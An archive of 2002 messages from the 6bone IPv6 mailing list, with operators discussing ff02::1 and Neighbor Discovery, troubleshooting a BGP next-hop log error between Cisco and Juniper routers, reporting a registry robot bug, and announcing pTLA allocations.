> 17:44:34.435927 3ffe:8001:2:181:210:a4ff:fe0f:41cf > 3ffe:8001:2:181::2: icmp6: echo reply
>
> kre
>
> ps: ff02::1 is similar to IPv4 broadcast (255.255.255.255 or the net specific
> broadcast address) but it only bothers IPv6 nodes, not everything else that
> happens to be connected to the net.  Filtering it isn't a good idea, but
> it also isn't likely to be a disaster.

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

``And indeed people sometimes speak of man's "bestial" cruelty, but
this is very unfair and insulting to the beasts: a beast can never be
so cruel as a man, so ingeniously, so artistically cruel.''
(Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Public key is at http://michael.kjorling.com/contact/pgp.html

iD8DBQE8ovonKqN7/Ypw4z4RAkL0AJ9UaCxTxyTWRLsh1kx9mYuV5FSVoQCgky2a
ZgKF4fbCcN0VETRY3mSLeUs=
=lhXC
-----END PGP SIGNATURE-----



From 6bone-owner  Thu Mar 28 03:31:19 2002
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From: Pim van Pelt <pim@ipng.nl>
To: Michael Kjorling <michael@kjorling.com>
Cc: Robert Elz <kre@munnari.OZ.AU>, Pim van Pelt <pim@ipng.nl>,
        6bone <6bone@ISI.EDU>
Subject: Re: Packet to ff02::1
Message-ID: <20020328113108.GC22527@bfib.colo.bit.nl>
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On Thu, Mar 28, 2002 at 12:10:26PM +0100, Michael Kjorling wrote:
| -----BEGIN PGP SIGNED MESSAGE-----
| Hash: SHA1
| 
| Well, Pim also wrote (just beyond what you quoted) that "the one with
| 3ffe:8350:1:51:210:7bff:fe30:591 replies from its link-local address".
| This seems to imply that all other hosts ignore it (receiving
| something and acting upon it by sending a reply is not the same thing
| as I understand it at least).

Well kre was right and I was wrong. The solicitation is not sent from
the linklocal of the requesting box, but from the global IP.
Also, the reply from the box 3ffe:8350:1:51:210:7bff:fe30:591 is not
from its linklocal but form its global IP.

Apart from that, the global schematic I wrote is correct. Thanks Kre.

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Thu Mar 28 04:01:17 2002
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From: Robert Elz <kre@munnari.OZ.AU>
To: Pim van Pelt <pim@ipng.nl>
cc: Michael Kjorling <michael@kjorling.com>, 6bone <6bone@ISI.EDU>
Subject: Re: Packet to ff02::1 
In-Reply-To: <20020328113108.GC22527@bfib.colo.bit.nl> 
References: <20020328113108.GC22527@bfib.colo.bit.nl>  <585.1017312430@brandenburg.cs.mu.OZ.AU> <Pine.LNX.4.44.0203281206000.1696-100000@varg.wolfpack> 
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    Date:        Thu, 28 Mar 2002 12:31:08 +0100
    From:        Pim van Pelt <pim@ipng.nl>
    Message-ID:  <20020328113108.GC22527@bfib.colo.bit.nl>

  | Apart from that, the global schematic I wrote is correct.

The more important difference is that the NS doesn't get sent to
ff02::1 - and so filtering that address won't prevent ND from working.

kre



From 6bone-owner  Thu Mar 28 04:05:10 2002
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From: Robert Elz <kre@munnari.OZ.AU>
To: Michael Kjorling <michael@kjorling.com>
cc: Pim van Pelt <pim@ipng.nl>, 6bone <6bone@ISI.EDU>
Subject: Re: Packet to ff02::1 
In-Reply-To: <Pine.LNX.4.44.0203281206000.1696-100000@varg.wolfpack> 
References: <Pine.LNX.4.44.0203281206000.1696-100000@varg.wolfpack> 
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    Date:        Thu, 28 Mar 2002 12:10:26 +0100 (CET)
    From:        Michael Kjorling <michael@kjorling.com>
    Message-ID:  <Pine.LNX.4.44.0203281206000.1696-100000@varg.wolfpack>

  | Well, Pim also wrote (just beyond what you quoted) that "the one with
  | 3ffe:8350:1:51:210:7bff:fe30:591 replies from its link-local address".
  | This seems to imply that all other hosts ignore it (receiving
  | something and acting upon it by sending a reply is not the same thing
  | as I understand it at least).

Nodes that receive the NS (which should not be many other than the
one being sought) but which don't have the answer, simply ignore the
packet.  True that happens after it has been received, and analysed,
not before - that's why ff02::1 isn't what is used (less hosts get
bothered than would if it were ff02::1)

  | I have not read the definition of IPv6 Neighbor Discovery, but from
  | what I have understood of it this seems like a good thing. How is a
  | host supposed to know whether any kind of broadcasted packet is for it
  | or not before analyzing it? ("Host" being either a router or a
  | client.)

It can't.  Which is why the very concept of broadcast is broken, and
why IPv6 has no such thing.   ff02::1 is used mostly by humans interested
in discovering who replies...

kre


From 6bone-owner  Thu Mar 28 22:40:15 2002
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Date: Fri, 29 Mar 2002 07:40:09 +0100
From: Pim van Pelt <pim@ipng.nl>
To: 6bone@ISI.EDU
Subject: IOS next-hop trouble
Message-ID: <20020329064009.GA17100@bfib.colo.bit.nl>
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Dear admin friends,

Recently I engaged in another IPv6 adventure at some ISP. We are now
running IOS 12.2-8.5.T on a c7206VXR.

The logs state:
Mar 28 22:47:36 fe2-0.4.sara.ams-ix.network.bit.nl 2288: 3d12h:
%BGP-6-NEXTHOP: Invalid next hop (0.0.0.0) received from
2001:7F8:1::A500:3265:1: martian next hop

for our peerings the AMS-IX. How can I solve this. Clearly IPv6
BGP has nothing to do with the IPv4 nexthop so the Juniper at :3265:1
leaves it empty. Why does my box complain ?

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Fri Mar 29 00:38:42 2002
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From: Pekka Savola <pekkas@netcore.fi>
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Subject: Re: IOS next-hop trouble
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On Fri, 29 Mar 2002, Pim van Pelt wrote:
> Dear admin friends,
> 
> Recently I engaged in another IPv6 adventure at some ISP. We are now
> running IOS 12.2-8.5.T on a c7206VXR.
> 
> The logs state:
> Mar 28 22:47:36 fe2-0.4.sara.ams-ix.network.bit.nl 2288: 3d12h:
> %BGP-6-NEXTHOP: Invalid next hop (0.0.0.0) received from
> 2001:7F8:1::A500:3265:1: martian next hop
> 
> for our peerings the AMS-IX. How can I solve this. Clearly IPv6
> BGP has nothing to do with the IPv4 nexthop so the Juniper at :3265:1
> leaves it empty. Why does my box complain ?

Are you peering with some box running Zebra?  I noticed this happened with 
zebra when they didn't run 'zebra -d' before starting 'bgpd -d'.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Fri Mar 29 01:18:12 2002
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From: Pim van Pelt <pim@ipng.nl>
To: Pekka Savola <pekkas@netcore.fi>
Cc: Pim van Pelt <pim@ipng.nl>, 6bone@ISI.EDU
Subject: Re: IOS next-hop trouble
Message-ID: <20020329091807.GA18240@bfib.colo.bit.nl>
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On Fri, Mar 29, 2002 at 10:38:28AM +0200, Pekka Savola wrote:
| On Fri, 29 Mar 2002, Pim van Pelt wrote:
| > Dear admin friends,
| > 
| > Recently I engaged in another IPv6 adventure at some ISP. We are now
| > running IOS 12.2-8.5.T on a c7206VXR.
| > 
| > The logs state:
| > Mar 28 22:47:36 fe2-0.4.sara.ams-ix.network.bit.nl 2288: 3d12h:
| > %BGP-6-NEXTHOP: Invalid next hop (0.0.0.0) received from
| > 2001:7F8:1::A500:3265:1: martian next hop
| > 
| > for our peerings the AMS-IX. How can I solve this. Clearly IPv6
| > BGP has nothing to do with the IPv4 nexthop so the Juniper at :3265:1
| > leaves it empty. Why does my box complain ?
| 
| Are you peering with some box running Zebra?  I noticed this happened with 
| zebra when they didn't run 'zebra -d' before starting 'bgpd -d'.

The peer mentioned is a Juniper JunOS 5.2 box (xs4all-nl). I have seen
this on a zebra box also, but I forced nexthop to be 'self' and that
helped the situation. This Cisco of mine is already advertising
next-hop-self and that didn't help.

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Fri Mar 29 01:18:24 2002
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From: <owens@nysernet.org>
To: Pim van Pelt <pim@ipng.nl>
Cc: 6bone@ISI.EDU
Subject: Re: IOS next-hop trouble
In-Reply-To: <20020329064009.GA17100@bfib.colo.bit.nl>
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On Fri, 29 Mar 2002, Pim van Pelt wrote:
> The logs state:
> Mar 28 22:47:36 fe2-0.4.sara.ams-ix.network.bit.nl 2288: 3d12h:
> %BGP-6-NEXTHOP: Invalid next hop (0.0.0.0) received from
> 2001:7F8:1::A500:3265:1: martian next hop
> 
> for our peerings the AMS-IX. How can I solve this. Clearly IPv6
> BGP has nothing to do with the IPv4 nexthop so the Juniper at :3265:1
> leaves it empty. Why does my box complain ?

If the Juniper is running JUNOS 5.1 this is a known bug; I don't have the
PR number handy but I can get it from my archives tomorrow. It appeared
cosmetic but we did fix it by upgrading to 5.2. 

However, that fix, or some other related change in 5.2, will tickle a bug
in some versions of IOS and cause v4 multicast BGP to break. The symptom
we observed was the BGP session establishing and immediately closing down,
but working once we disabled multicast. We fixed that by upgrading that
particular Cisco, which was on a ~1 year old IOS; if your boxes are all
recent you shouldn't have a problem. I can dig up that bug number as well
if you're interested.

Bill.


From 6bone-owner  Fri Mar 29 01:21:15 2002
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Date: Fri, 29 Mar 2002 10:21:10 +0100
From: Pim van Pelt <pim@ipng.nl>
To: owens@nysernet.org
Cc: Pim van Pelt <pim@ipng.nl>, 6bone@ISI.EDU
Subject: Re: IOS next-hop trouble
Message-ID: <20020329092110.GB18240@bfib.colo.bit.nl>
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Hi Bill,

Thanks for your comments.
| 
| If the Juniper is running JUNOS 5.1 this is a known bug; I don't have the
| PR number handy but I can get it from my archives tomorrow. It appeared
| cosmetic but we did fix it by upgrading to 5.2. 
This Juniper, afaik is running JunOS 5.2. It's not mine though, but I do
know the operator, who is also on this list. Hi, Erik :-)

| However, that fix, or some other related change in 5.2, will tickle a bug
| in some versions of IOS and cause v4 multicast BGP to break. The symptom
| we observed was the BGP session establishing and immediately closing down,
| but working once we disabled multicast. We fixed that by upgrading that
| particular Cisco, which was on a ~1 year old IOS; if your boxes are all
| recent you shouldn't have a problem. I can dig up that bug number as well
| if you're interested.
My box is running an IOS dated 03/03/2002 :) (12.2-8.5-T) on the c7200
platform. No multicast on that box (BGP session is up, mind you,
everything works fine except for those log entries)


groet,
Pim
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Fri Mar 29 01:27:56 2002
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From: <owens@nysernet.org>
To: Pim van Pelt <pim@ipng.nl>
Cc: 6bone@ISI.EDU
Subject: Re: IOS next-hop trouble
In-Reply-To: <20020329092110.GB18240@bfib.colo.bit.nl>
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On Fri, 29 Mar 2002, Pim van Pelt wrote:
> This Juniper, afaik is running JunOS 5.2. It's not mine though, but I do
> know the operator, who is also on this list. Hi, Erik :-)

Hmm, since I don't have the PR I don't know which version fixes the
problem, but IIRC we went from 5.1R2.4 to 5.2R1.4 to get the fix. That's a
confusing enough set of numbers that I could have one wrong ;)
 
> My box is running an IOS dated 03/03/2002 :) (12.2-8.5-T) on the c7200
> platform. No multicast on that box (BGP session is up, mind you,
> everything works fine except for those log entries)

You wouldn't have any problems, but it could be an issue if the Juniper
has a v4 multicast session with another Cisco at the exchange and they're
on an old IOS. Again this is only my recollection but I think the Cisco
bug was fixed almost a year ago, so if they've upgraded to get the various
security fixes since then they should all be safe.

Bill.


From 6bone-owner  Fri Mar 29 03:08:41 2002
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From: Alex Bik <alex@bit.nl>
To: Pekka Savola <pekkas@netcore.fi>
cc: Pim van Pelt <pim@ipng.nl>, <6bone@ISI.EDU>
Subject: Re: IOS next-hop trouble
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On Fri, 29 Mar 2002, Pekka Savola wrote:

> > Recently I engaged in another IPv6 adventure at some ISP. We are now
> > running IOS 12.2-8.5.T on a c7206VXR.
            ^^^                 ^^^^^^^^

> > The logs state:
> > Mar 28 22:47:36 fe2-0.4.sara.ams-ix.network.bit.nl 2288: 3d12h:
> > %BGP-6-NEXTHOP: Invalid next hop (0.0.0.0) received from
> > 2001:7F8:1::A500:3265:1: martian next hop
> >
> > for our peerings the AMS-IX. How can I solve this. Clearly IPv6
> > BGP has nothing to do with the IPv4 nexthop so the Juniper at :3265:1
                                                       ^^^^^^^^^^^^^^^^^^
I guess you must have missed somthing.

-- 
                              __________________
Met vriendelijke groet,      /\ ___/
Alex Bik                    /- \ _/  Business Internet Trends BV
AB2298-RIPE                /--- \/           __________________


From 6bone-owner  Fri Mar 29 04:33:49 2002
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Date: Fri, 29 Mar 2002 13:33:44 +0100
From: Pim van Pelt <pim@ipng.nl>
To: 6bone@ISI.EDU
Subject: bug (or lack of feature) in the whois robot
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Dear 6bone folk,

Recently I stumbeled across a peculiarity while mailing an object
to the 6bone registry mailinterface.

Normally, when one enters a tunnel into the system, the robot will
try to resolve the IP numbers transforming
  tunnel: IPv6 in IPv4 212.19.192.221 -> 193.10.252.34 NORDU-NET BGP4+
into
  tunnel: IPv6 in IPv4 biscuit.intouch.net -> nw-gw.nordu.net NORDU-NET BGP4+

First off, when is the 'native' field planned on being operational ?

The only method of describing a native link is by specifying an IPv6 in IPv6
tunnel (which is, of course, not the same as a native link). Anyway, when one
specifies IPv6 addresses via the:
  tunnel: IPv6 in IPv6 2001:7f8:1::a500:8954:1 -> rtr6.ams-ix.net AS1200 BGP4+
the robot will reply with a syntax error:

*ERROR*:      syntax error in destination hostname (2001:7f8:1::a500:8954:1)
  specified in "tunnel" (IPv6 in IPv6 2001:7f8:1::a500:8954:1 ->
   rtr6.ams-ix.net AS1200 BGP4+)
*ERROR*:      Please specify a valid domain name

May I suggest accepting IPv6 number addresses and also enabling/implementing
the 'native' field as more and more IX:en start growing to a production level.

I can help coding if this is needed, David.

groet,
Pim
-- 
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Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Fri Mar 29 06:05:07 2002
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Date: Fri, 29 Mar 2002 15:04:57 +0100
From: Erik Bos <erik@xs4all.net>
To: owens@nysernet.org
Cc: Pim van Pelt <pim@ipng.nl>, 6bone@ISI.EDU
Subject: Re: IOS next-hop trouble
Message-ID: <20020329150453.Y22268@xs4all.nl>
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On Fri, Mar 29, 2002 at 04:13:52AM -0500, owens@nysernet.org wrote:
> On Fri, 29 Mar 2002, Pim van Pelt wrote:
> > The logs state:
> > Mar 28 22:47:36 fe2-0.4.sara.ams-ix.network.bit.nl 2288: 3d12h:
> > %BGP-6-NEXTHOP: Invalid next hop (0.0.0.0) received from
> > 2001:7F8:1::A500:3265:1: martian next hop
> > 
> > for our peerings the AMS-IX. How can I solve this. Clearly IPv6
> > BGP has nothing to do with the IPv4 nexthop so the Juniper at :3265:1
> > leaves it empty. Why does my box complain ?
> 
> If the Juniper is running JUNOS 5.1 this is a known bug; I don't have the
> PR number handy but I can get it from my archives tomorrow. It appeared
> cosmetic but we did fix it by upgrading to 5.2. 
> 
> However, that fix, or some other related change in 5.2, will tickle a bug
> in some versions of IOS and cause v4 multicast BGP to break. The symptom
> we observed was the BGP session establishing and immediately closing down,
> but working once we disabled multicast. We fixed that by upgrading that
> particular Cisco, which was on a ~1 year old IOS; if your boxes are all
> recent you shouldn't have a problem. I can dig up that bug number as well
> if you're interested.

A. I'd like to know both PRs. We're 2001:7F8:1::A500:3265:1 and are running
JUNOS 5.1R1.4. We can't upgrade to 5.2 yet of PRs that are fixed in this
release but are not yet fixed in the latest version of 5.2.

Erik

From 6bone-owner  Fri Mar 29 09:01:07 2002
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Date: Fri, 29 Mar 2002 12:00:56 -0500
To: Erik Bos <erik@xs4all.net>
From: Bill Owens <owens@nysernet.org>
Subject: Re: IOS next-hop trouble
Cc: Pim van Pelt <pim@ipng.nl>, 6bone@ISI.EDU
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At 3:04 PM +0100 3/29/02, Erik Bos wrote:
>A. I'd like to know both PRs. We're 2001:7F8:1::A500:3265:1 and are running
>JUNOS 5.1R1.4. We can't upgrade to 5.2 yet of PRs that are fixed in this
>release but are not yet fixed in the latest version of 5.2.

I haven't been able to find a PR; we never got one when we opened the 
ticket and the Juniper website seems to be broken and won't return 
anything from my PR searches. The response from Juniper when we 
opened our JTAC case was:

>In 5.1, we did send the next hop.  In 5.2, this is fixed.  We no longer send
>the next hop attribute in 5.2.  Upgrading to 5.2 should fix the problem you
>are having.

And indeed the upgrade did work.

Regarding the problems that we saw with the older Cisco IOS *after* 
we went to 5.2, the closest bug I could find was CSCdv74675. It 
doesn't describe the exact problem, but sounds so similar that I 
think it has to be related. When the Cisco in question was upgraded 
to 12.0(21)S1 that problem vanished. Everything has been quiet in the 
week since ;)

Bill.

From 6bone-owner  Fri Mar 29 10:10:29 2002
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Date: Fri, 29 Mar 2002 19:10:23 +0100
From: Jesper Skriver <jesper@skriver.dk>
To: Erik Bos <erik@xs4all.net>
Cc: owens@nysernet.org, Pim van Pelt <pim@ipng.nl>, 6bone@ISI.EDU
Subject: Re: IOS next-hop trouble
Message-ID: <20020329191023.F21178@skriver.dk>
References: <20020329064009.GA17100@bfib.colo.bit.nl> <Pine.GSO.4.10.10203290409130.15385-100000@secundus.nysernet.org> <20020329150453.Y22268@xs4all.nl>
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On Fri, Mar 29, 2002 at 03:04:57PM +0100, Erik Bos wrote:
> On Fri, Mar 29, 2002 at 04:13:52AM -0500, owens@nysernet.org wrote:
> > On Fri, 29 Mar 2002, Pim van Pelt wrote:
> > > The logs state:
> > > Mar 28 22:47:36 fe2-0.4.sara.ams-ix.network.bit.nl 2288: 3d12h:
> > > %BGP-6-NEXTHOP: Invalid next hop (0.0.0.0) received from
> > > 2001:7F8:1::A500:3265:1: martian next hop
> > > 
> > > for our peerings the AMS-IX. How can I solve this. Clearly IPv6
> > > BGP has nothing to do with the IPv4 nexthop so the Juniper at :3265:1
> > > leaves it empty. Why does my box complain ?
> > 
> > If the Juniper is running JUNOS 5.1 this is a known bug; I don't have the
> > PR number handy but I can get it from my archives tomorrow. It appeared
> > cosmetic but we did fix it by upgrading to 5.2. 
> > 
> > However, that fix, or some other related change in 5.2, will tickle a bug
> > in some versions of IOS and cause v4 multicast BGP to break. The symptom
> > we observed was the BGP session establishing and immediately closing down,
> > but working once we disabled multicast. We fixed that by upgrading that
> > particular Cisco, which was on a ~1 year old IOS; if your boxes are all
> > recent you shouldn't have a problem. I can dig up that bug number as well
> > if you're interested.
> 
> A. I'd like to know both PRs. We're 2001:7F8:1::A500:3265:1 and are running
> JUNOS 5.1R1.4. We can't upgrade to 5.2 yet of PRs that are fixed in this
> release but are not yet fixed in the latest version of 5.2.

5.1R3.4 is out, it's the latest bugfix release in the 5.1 branch, we're
running it with success, but without IPv6 though.

/Jesper

-- 
Jesper Skriver, jesper(at)skriver(dot)dk  -  CCIE #5456
Work:    Network manager   @ AS3292 (Tele Danmark DataNetworks)
Private: FreeBSD committer @ AS2109 (A much smaller network ;-)

One Unix to rule them all, One Resolver to find them,
One IP to bring them all and in the zone to bind them.

From 6bone-owner  Fri Mar 29 22:53:53 2002
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Date: Fri, 29 Mar 2002 22:53:47 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:4001::/32 allocated to ASNET
Cc: Saw-Shung Hung <ssh@ascc.net>,
        6bone reverse DNS registration <hostmaster@ep.net>
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ASNET has been allocated pTLA 3FFE:4001::/32 having finished its 2-week 
review period.

<http://whois.6bone.net/cgi-bin/whois?ASNET>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
hostmaster@ep.net.]


Thanks,

Bob


From 6bone-owner  Fri Mar 29 23:02:13 2002
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Date: Fri, 29 Mar 2002 23:02:07 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for MOTOROLA-LABS- review closes 12 April 2002
Cc: Silverton Aron-C1710C <Aron.J.Silverton@motorola.com>
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6bone Folk,

MOTOROLA-LABS has requested a pTLA allocation and I find their request 
fully compliant with RFC2772. The open review period for this will close 29 
March 2002. Please send your comments to me or the list.

<http://whois.6bone.net/cgi-bin/whois?MOTOROLA-LABS>

<http://www.ipv6.motlabs.com>


Note that this allocation will be a /32 per previous discussions on the list.


Thanks,

Bob

===
>From: Silverton Aron-C1710C <Aron.J.Silverton@motorola.com>
>To: "'fink@es.net'" <fink@es.net>
>Cc: ESCHBACH JEFFREY-CJE018 <eschbach@motorola.com>
>Subject: pTLA request for MOTOROLA-LABS (AS19149)
>Date: Thu, 28 Mar 2002 17:03:28 -0600
>
>Bob,
>
>We would like to apply for a pTLA allocation from the 6Bone.
>We are Motorola Labs - Networks and Infrastructure Research.
>We are requesting one pTLA block.
>
>A summary of our conformance with RFC 2772 is below.
>
>
>7. Guidelines for 6Bone pTLA sites
>
>    The following rules apply to qualify for a 6Bone pTLA allocation. It
>    should be recognized that holders of 6Bone pTLA allocations are
>    expected to provide production quality backbone network services for
>    the 6Bone.
>
>    1. The pTLA Applicant must have a minimum of three (3) months
>       qualifying experience as a 6Bone end-site or pNLA transit.  During
>       the entire qualifying period the Applicant must be operationally
>       providing the following:
>
>       ------------------------------------------------------------------
>       We have been on the 6Bone for one year as of this month via a
>       tunnel to Viagenie with prefix 3ffe:b00:4025::/48.
>       ------------------------------------------------------------------
>
>       a. Fully maintained, up to date, 6Bone Registry entries for their
>          ipv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
>
>       ------------------------------------------------------------------
>       All of our entries are complete and can be found at:
>       http://whois.6bone.net/cgi-bin/whois?MOTOROLA-LABS
>
>       inet6num: 3ffe:b00:4025::/48
>         ipv6-site:      MOTOROLA-LABS
>       mntner:   MNT-MOTOROLA-LABS
>         mnt-by: MNT-MOTOROLA-LABS
>         person: AJS2-6BONE
>       ------------------------------------------------------------------
>
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>          between the Applicant's boundary router and the appropriate
>          connection point into the 6Bone. This router must be IPv6
>          pingable. This criteria is judged by members of the 6Bone
>          Operations Group at the time of the Applicant's pTLA request.
>
>       ------------------------------------------------------------------
>       Our BGP4+ connections are provided by a Cisco 7505/RSP4 which is
>       IPv6 pingable at c7505.ipv6.motlabs.com
>       ------------------------------------------------------------------
>
>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>          entries for the Applicant's router(s) and at least one host
>          system.
>
>       ------------------------------------------------------------------
>       Forward (AAAA) and reverse (ip6.int) entries are maintained on
>       dns1.ipv6.motlabs.com and dns2.ipv6.motlabs.com.  These servers handle
>       the 0.0.0.0.5.2.0.4.0.0.b.0.e.f.f.3.IP6.INT reverse zone and
>       forward entries such as www.ipv6.motlabs.com at 3ffe:b00:4025::c.
>       ------------------------------------------------------------------
>
>       d. A fully maintained, and reliable, IPv6-accessible system
>          providing, at a minimum, one or more web pages, describing the
>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>       ------------------------------------------------------------------
>       An IPv4/IPv6 web page is accessible at 6bone01.motlabs.com and
>       www.ipv6.motlabs.com and is IPv6 pingable.
>       ------------------------------------------------------------------
>
>    2. The pTLA Applicant MUST have the ability and intent to provide
>       "production-quality" 6Bone backbone service. Applicants must
>       provide a statement and information in support of this claim.
>       This MUST include the following:
>
>       a. A support staff of two persons minimum, three preferable, with
>          person attributes registered for each in the ipv6-site object
>          for the pTLA applicant.
>
>       ------------------------------------------------------------------
>       Our current support staff is:
>
>         Aron J. Silverton               (AJS2-6BONE)
>         Jeffery T. Eschbach     (JTE1-6BONE)
>       ------------------------------------------------------------------
>
>       b. A common mailbox for support contact purposes that all support
>          staff have access to, pointed to with a notify attribute in the
>          ipv6-site object for the pTLA Applicant.
>
>         ------------------------------------------------------------------
>       Our common mailbox for 6BONE site issues and comments is
>       6bone@labs.mot.com
>       ------------------------------------------------------------------
>
>    3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or focus
>       of interest. Applicant must provide a statement and information in
>       support this claim.
>
>       ------------------------------------------------------------------
>       Our user community consists of researchers located at our facility
>       who utilize our IPv6 test bed network to conduct their work as well
>       as a large internal research community located throughout the US
>       and abroad to whom we will act as an IPv6 ISP.  In addition to
>       those internal communities, we may also provide these services to
>       others in the research community such as MREN (www.mren.org).
>       ------------------------------------------------------------------
>
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>
>       ------------------------------------------------------------------
>       Motorola Labs understands the 6Bone operational rules and we agree
>       with all of them as stated in RFC 2772.  We agree to abide by
>       those rules and policies now and as they evolve in the future.
>       ------------------------------------------------------------------
>
>Regards,
>
>
>Aron J. Silverton
>Senior Research Engineer
>Motorola Labs, Networks and Infrastructure Research
>Motorola, Inc.
>
>Telephone: 847-576-8747
>Fax: 847-576-3420
>Pager: 800-759-8888 PIN 1147344
>mailto: Aron.J.Silverton@motorola.com



From 6bone-owner  Mon Apr  1 15:17:47 2002
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: rough cut
To: 6bone@ISI.EDU
Date: Mon, 1 Apr 2002 15:17:45 -0800 (PST)
Cc: bmanning@ISI.EDU (Bill Manning), hiddy@ISI.EDU (Hideaki Imaizumi)
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 Thanks to Hideaki Imaizumi < hiddy@ISI.EDU > we have the start of something 
that might be useful over time.


http://www.ep.net/ipv6bgp/prefix6.html


comments please.

-- 
"When in doubt, Twirl..."  -anon

From 6bone-owner  Tue Apr  2 01:02:31 2002
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From: =?iso-8859-1?Q?J=F8rgen_Hovland?= <jorgen@hovland.cx>
To: "Bill Manning" <bmanning@ISI.EDU>, <6bone@ISI.EDU>
Cc: "Hideaki Imaizumi" <hiddy@ISI.EDU>
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I think it will be very interesting to have.

For instance...
During the nimda (and the rest of the mailviruses) season last year, you
could _see_ the differences on the ripe ipv4 ASN prefix withdrawn graph
statistics.

Joergen Hovland

----- Original Message -----
From: "Bill Manning" <bmanning@ISI.EDU>
To: <6bone@ISI.EDU>
Cc: "Bill Manning" <bmanning@ISI.EDU>; "Hideaki Imaizumi" <hiddy@ISI.EDU>
Sent: Tuesday, April 02, 2002 1:17 AM
Subject: rough cut


> Thanks to Hideaki Imaizumi < hiddy@ISI.EDU > we have the start of
something
> that might be useful over time.
>
>
> http://www.ep.net/ipv6bgp/prefix6.html
>
>
> comments please.
>
> --
> "When in doubt, Twirl..."  -anon
>


From 6bone-owner  Tue Apr  2 02:14:56 2002
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Date: Tue, 2 Apr 2002 12:14:50 +0200
From: Jan Oravec <wsx@wsx6.net>
To: Pekka Savola <pekkas@netcore.fi>
Cc: 6bone@ISI.EDU
Subject: Re: IOS next-hop trouble
Message-ID: <20020402101450.GA30019@hades.xs26.net>
Reply-To: Jan Oravec <wsx@wsx6.net>
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On Fri, Mar 29, 2002 at 10:38:28AM +0200, Pekka Savola wrote:
> On Fri, 29 Mar 2002, Pim van Pelt wrote:
> > Dear admin friends,
> > 
> > Recently I engaged in another IPv6 adventure at some ISP. We are now
> > running IOS 12.2-8.5.T on a c7206VXR.
> > 
> > The logs state:
> > Mar 28 22:47:36 fe2-0.4.sara.ams-ix.network.bit.nl 2288: 3d12h:
> > %BGP-6-NEXTHOP: Invalid next hop (0.0.0.0) received from
> > 2001:7F8:1::A500:3265:1: martian next hop
> > 
> > for our peerings the AMS-IX. How can I solve this. Clearly IPv6
> > BGP has nothing to do with the IPv4 nexthop so the Juniper at :3265:1
> > leaves it empty. Why does my box complain ?
> 
> Are you peering with some box running Zebra?  I noticed this happened with 
> zebra when they didn't run 'zebra -d' before starting 'bgpd -d'.

The bug has been fixed several months ago. zebra-xs26 (http://www.xs26.net/zebra) has bugfix included, I believe Kunihiro applied the patch to official zebra CVS.

-- 
Jan Oravec
project coordinator
XS26 - 'Access to IPv6'  
http://www.xs26.net
jan.oravec@xs26.net

From 6bone-owner  Tue Apr  2 05:36:03 2002
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Dear Pekka,

I have an dirty method to solve this. You can use route-map in
BGP route out.  Like below:

neighbor 2001:7F8:1::A500:3265:2 route-map ToAMXIX out

route-map ToAMXIX permit 10
 set ip next-hop ##your router ipv4 ip##
!

Maybe work in your system.

cheers,

Ethern


----- Original Message -----
From: "Jan Oravec" <wsx@wsx6.net>
To: "Pekka Savola" <pekkas@netcore.fi>
Cc: <6bone@ISI.EDU>
Sent: Tuesday, April 02, 2002 6:14 PM
Subject: Re: IOS next-hop trouble


> On Fri, Mar 29, 2002 at 10:38:28AM +0200, Pekka Savola wrote:
> > On Fri, 29 Mar 2002, Pim van Pelt wrote:
> > > Dear admin friends,
> > >
> > > Recently I engaged in another IPv6 adventure at some ISP. We are now
> > > running IOS 12.2-8.5.T on a c7206VXR.
> > >
> > > The logs state:
> > > Mar 28 22:47:36 fe2-0.4.sara.ams-ix.network.bit.nl 2288: 3d12h:
> > > %BGP-6-NEXTHOP: Invalid next hop (0.0.0.0) received from
> > > 2001:7F8:1::A500:3265:1: martian next hop
> > >
> > > for our peerings the AMS-IX. How can I solve this. Clearly IPv6
> > > BGP has nothing to do with the IPv4 nexthop so the Juniper at :3265:1
> > > leaves it empty. Why does my box complain ?
> >
> > Are you peering with some box running Zebra?  I noticed this happened
with
> > zebra when they didn't run 'zebra -d' before starting 'bgpd -d'.
>
> The bug has been fixed several months ago. zebra-xs26
(http://www.xs26.net/zebra) has bugfix included, I believe Kunihiro applied
the patch to official zebra CVS.
